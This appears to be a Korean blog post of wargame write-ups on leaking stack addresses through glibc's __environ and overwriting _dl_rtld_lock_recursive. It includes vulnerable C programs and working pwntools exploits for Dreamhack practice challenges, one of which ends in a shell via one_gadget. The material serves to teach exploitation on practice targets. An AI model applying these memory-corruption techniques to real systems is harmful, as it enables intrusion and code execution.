TIL: Overwriting environ
__environ
Environment variable들은 stack에 저장된다. 환경 변수들을 가리키는 (정확히는 __environ
은 double pointer로, __environ
이 가리키는 곳에 있는 포인터가 가리키는 곳에 환경 변수들이 있다.) __environ
은 libc에 저장되어 있는데, 이 __environ
이 가리키는 곳은 stack 위에 있다. 프로그램의 stack 주소를 leak하고 싶을 때 만약 libc_base를 알고 있고, 임의 주소를 읽을 수 있다면 __environ
의 주소를 읽어 stack의 주소를 얻어낼 수 있다.
Wargame: __environ
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
분석
Exploit
from pwn import *
#p = process("./environ_exercise")
p = remote("host1.dreamhack.games", 13029)
#gdb.attach(p)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
print(hex(stdout))
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
print(hex(libc_base))
__environ = libc_base + libc.symbols["__environ"]
p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(__environ))
file_buf = u64(p.recvn(6).ljust(8, b"\x00")) - 0x1538
p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(file_buf))
p.interactive()
stdout
leak을 이용해 libc_base를 구한다.- libc_base를 이용해
__environ
의 주소를 구한다. __environ
이 가리키는 주소를 구한다. → stack의 주소를 알아낼 수 있다.- gdb를 이용해 stack 상에서
file_buf
와__environ
이 가리키는 주소 사이의 offset을 구한다. file_buf
를 읽는다.
Wargame: rtld
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
Exploit
from pwn import *
#p = process(["./rtld"], env={'LD_PRELOAD':'./libc.so.6'})
p = remote("host1.dreamhack.games", 14926)
#gdb.attach(p)
libc = ELF("./libc.so.6")
e = ELF("./rtld")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
ld_base = libc_base + 0x3ca000
rtld_global = ld_base + 0x226040
dl_rtld_lock_recursive = rtld_global + 3848
og = libc_base + 0xf02a4
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(og))
p.interactive()
_dl_rtld_lock_recursive
를 one_gadget으로 overwrite하면 된다. 앞에서 다룬 문제와 거의 동일해 자세한 과정은 생략한다.- Ubuntu 16.04 버전에서는 one_gadget이 실행이 되지 않아 살짝 당황했었는데, Ubuntu 18.04에서 같은 libc 파일을 대상으로 one_gadget을 실행한 뒤 그 값을 사용하면 된다.
Leave a comment